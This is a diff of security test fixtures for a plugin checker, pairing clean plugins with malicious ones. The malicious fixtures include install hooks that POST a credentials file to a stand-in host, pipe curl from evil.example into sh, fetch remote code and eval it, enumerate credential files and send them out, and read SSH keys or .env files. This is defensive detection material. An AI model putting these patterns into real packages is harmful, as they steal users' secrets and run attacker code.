dsh-standards 1.5.0 → 1.6.1

package/40-checker/fixtures/security/sec15-clean/index.mjs

@@ -0,0 +1,3 @@
+export function apply(ctx) {
+  return ctx
+}

package/40-checker/fixtures/security/sec15-clean/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec15-clean",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec15-install-cred/index.mjs

@@ -0,0 +1,7 @@
+export const name = 'sec15-install-cred'
+export const provide = ['sec15cred']
+
+export function apply(ctx) {
+  ctx.provide('sec15cred', { ok: true })
+  ctx.effect(() => () => {}, 'sec15.cred.effect')
+}

package/40-checker/fixtures/security/sec15-install-cred/install.js

@@ -0,0 +1,8 @@
+// Reads a credential file during install and posts it. Static fixture: the
+// checker only reads this file, it is never executed.
+import { readFileSync } from 'node:fs'
+import { homedir } from 'node:os'
+import path from 'node:path'
+
+const body = readFileSync(path.join(homedir(), '.dsh', 'credentials.yaml'), 'utf8')
+await fetch('https://example.invalid/collect', { method: 'POST', body })

package/40-checker/fixtures/security/sec15-install-cred/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-install-cred",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "install": "node install.js"
+  }
+}

package/40-checker/fixtures/security/sec15-install-curl/index.mjs

@@ -0,0 +1,7 @@
+export const name = 'sec15-install-curl'
+export const provide = ['sec15curl']
+
+export function apply(ctx) {
+  ctx.provide('sec15curl', { ok: true })
+  ctx.effect(() => () => {}, 'sec15.curl.effect')
+}

package/40-checker/fixtures/security/sec15-install-curl/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-install-curl",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "sh scripts/install.sh"
+  }
+}

package/40-checker/fixtures/security/sec15-install-curl/scripts/install.sh

@@ -0,0 +1,4 @@
+#!/bin/sh
+# Static fixture: the checker reads this file, it is never executed.
+set -eu
+curl -fsSL https://example.invalid/setup.sh | sh

package/40-checker/fixtures/security/sec15-install-danger/index.mjs

@@ -0,0 +1,7 @@
+export const name = 'sec15-install-danger'
+export const provide = ['sec15danger']
+
+export function apply(ctx) {
+  ctx.provide('sec15danger', { ok: true })
+  ctx.effect(() => () => {}, 'sec15.danger.effect')
+}

package/40-checker/fixtures/security/sec15-install-danger/install.js

@@ -0,0 +1,5 @@
+// Downloads a remote script and evaluates it. Static fixture: the checker only
+// reads this file, it is never executed.
+const res = await fetch('http://127.0.0.1:9/payload.mjs')
+const code = await res.text()
+;(0, eval)(code)

package/40-checker/fixtures/security/sec15-install-danger/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-install-danger",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "node install.js"
+  }
+}

package/40-checker/fixtures/security/sec15-install-safe/index.mjs

@@ -0,0 +1,7 @@
+export const name = 'sec15-install-safe'
+export const provide = ['sec15safe']
+
+export function apply(ctx) {
+  ctx.provide('sec15safe', { ok: true })
+  ctx.effect(() => () => {}, 'sec15.safe.effect')
+}

package/40-checker/fixtures/security/sec15-install-safe/install.js

@@ -0,0 +1,5 @@
+// Ordinary build-side logging; no download, no interpreter, no credentials.
+import { mkdirSync } from 'node:fs'
+
+mkdirSync('dist', { recursive: true })
+console.log('postinstall: nothing to do')

package/40-checker/fixtures/security/sec15-install-safe/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-install-safe",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "node install.js"
+  }
+}

package/40-checker/fixtures/security/sec15-missing-ref/index.mjs

@@ -0,0 +1,3 @@
+export function apply(ctx) {
+  return ctx
+}

package/40-checker/fixtures/security/sec15-missing-ref/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-missing-ref",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "node scripts/nope.mjs"
+  }
+}

package/40-checker/fixtures/security/sec15-node/index.mjs

@@ -0,0 +1,3 @@
+export function apply(ctx) {
+  return ctx
+}

package/40-checker/fixtures/security/sec15-node/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-node",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "node scripts/build.mjs"
+  }
+}

package/40-checker/fixtures/security/sec15-node/scripts/build.mjs

@@ -0,0 +1 @@
+console.log('build')

package/40-checker/fixtures/security/sec15-pipe/index.mjs

@@ -0,0 +1,3 @@
+export function apply(ctx) {
+  return ctx
+}

package/40-checker/fixtures/security/sec15-pipe/package.json

@@ -0,0 +1,22 @@
+{
+  "name": "@dsh-fixtures/sec15-pipe",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  },
+  "scripts": {
+    "postinstall": "curl -fsSL https://evil.example/install.sh | sh"
+  }
+}

package/40-checker/fixtures/security/sec16-client/index.mjs

@@ -0,0 +1,3 @@
+export function apply(ctx) {
+  return ctx
+}

package/40-checker/fixtures/security/sec16-client/lib/client.js

@@ -0,0 +1,3 @@
+export function mount() {
+  return new Function('return 1')
+}

package/40-checker/fixtures/security/sec16-client/package.json

@@ -0,0 +1,21 @@
+{
+  "name": "@dsh-fixtures/sec16-client",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs",
+    "./client": "./lib/client.js"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "client": {},
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-declared/index.mjs

@@ -0,0 +1,3 @@
+export function apply(ctx) {
+  return ctx
+}

package/40-checker/fixtures/security/sec16-declared/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-declared",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-eval/index.mjs

@@ -0,0 +1,3 @@
+export function apply() {
+  return eval('1 + 1')
+}

package/40-checker/fixtures/security/sec16-eval/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-eval",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec16-require/index.mjs

@@ -0,0 +1,4 @@
+import { execSync } from 'node:child_process'
+export function apply() {
+  return execSync('true')
+}

package/40-checker/fixtures/security/sec16-require/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec16-require",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-cred-exfil/index.mjs

@@ -0,0 +1,22 @@
+// Credential enumeration under ~/.dsh followed by an outbound POST. The
+// checker must FAIL this; the fixture is static and nothing is executed.
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+const dir = path.join(os.homedir(), '.dsh')
+try {
+  for (const f of fs.readdirSync(dir)) {
+    if (!/^\.?credentials/.test(f)) continue
+    const body = fs.readFileSync(path.join(dir, f), 'utf8')
+    await fetch('http://127.0.0.1:38921/webhook', { method: 'POST', body })
+  }
+} catch { /* keep the module importable */ }
+
+export const name = 'sec17-cred-exfil'
+export const provide = ['sec17cred']
+
+export function apply(ctx) {
+  ctx.provide('sec17cred', { ok: true })
+  ctx.effect(() => () => {}, 'sec17.cred.effect')
+}

package/40-checker/fixtures/security/sec17-cred-exfil/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-cred-exfil",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-env/index.mjs

@@ -0,0 +1,5 @@
+import { readFileSync } from 'node:fs'
+import path from 'node:path'
+export function apply() {
+  return readFileSync(path.join(process.cwd(), '.env'), 'utf8')
+}

package/40-checker/fixtures/security/sec17-env/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-env",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-seam/index.mjs

@@ -0,0 +1,3 @@
+export function apply(ctx) {
+  return ctx.credentials.resolve('github.token')
+}

package/40-checker/fixtures/security/sec17-seam/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-seam",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec17-ssh/index.mjs

@@ -0,0 +1,6 @@
+import { readFileSync } from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+export function apply() {
+  return readFileSync(path.join(os.homedir(), '.ssh', 'id_rsa'), 'utf8')
+}

package/40-checker/fixtures/security/sec17-ssh/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec17-ssh",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec18-bad/index.mjs

@@ -0,0 +1,3 @@
+export async function apply() {
+  return fetch('http://webhook.site/collect?token=x')
+}

package/40-checker/fixtures/security/sec18-bad/package.json

@@ -0,0 +1,21 @@
+{
+  "name": "@dsh-fixtures/sec18-bad",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [
+      "network:egress"
+    ],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec18-good/index.mjs

@@ -0,0 +1,3 @@
+export async function apply() {
+  return fetch('https://api.example.com/v1/data')
+}

package/40-checker/fixtures/security/sec18-good/package.json

@@ -0,0 +1,26 @@
+{
+  "name": "@dsh-fixtures/sec18-good",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [
+      "network:egress"
+    ],
+    "labels": [],
+    "disclosure": {
+      "endpoints": [
+        "https://api.example.com/v1/data"
+      ]
+    }
+  }
+}

package/40-checker/fixtures/security/sec18-undeclared/index.mjs

@@ -0,0 +1,3 @@
+export async function apply() {
+  return fetch('https://api.example.com/v1/data')
+}

package/40-checker/fixtures/security/sec18-undeclared/package.json

@@ -0,0 +1,26 @@
+{
+  "name": "@dsh-fixtures/sec18-undeclared",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [
+      "network:egress"
+    ],
+    "labels": [],
+    "disclosure": {
+      "endpoints": [
+        "https://other.example.com/v1"
+      ]
+    }
+  }
+}

package/40-checker/fixtures/security/sec19-blob/index.mjs

@@ -0,0 +1,2 @@
+export const blob = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+export function apply() {}

package/40-checker/fixtures/security/sec19-blob/package.json

@@ -0,0 +1,19 @@
+{
+  "name": "@dsh-fixtures/sec19-blob",
+  "version": "1.0.0",
+  "license": "MIT",
+  "type": "module",
+  "main": "./index.mjs",
+  "exports": {
+    ".": "./index.mjs"
+  },
+  "engines": {
+    "dsh": ">=0.2.2-alpha.2 <0.3.0"
+  },
+  "dsh": {
+    "manifestVersion": 1,
+    "kind": "plugin",
+    "capabilities": [],
+    "labels": []
+  }
+}

package/40-checker/fixtures/security/sec19-clean/index.mjs

@@ -0,0 +1,2 @@
+export const label = 'readable source'
+export function apply() {}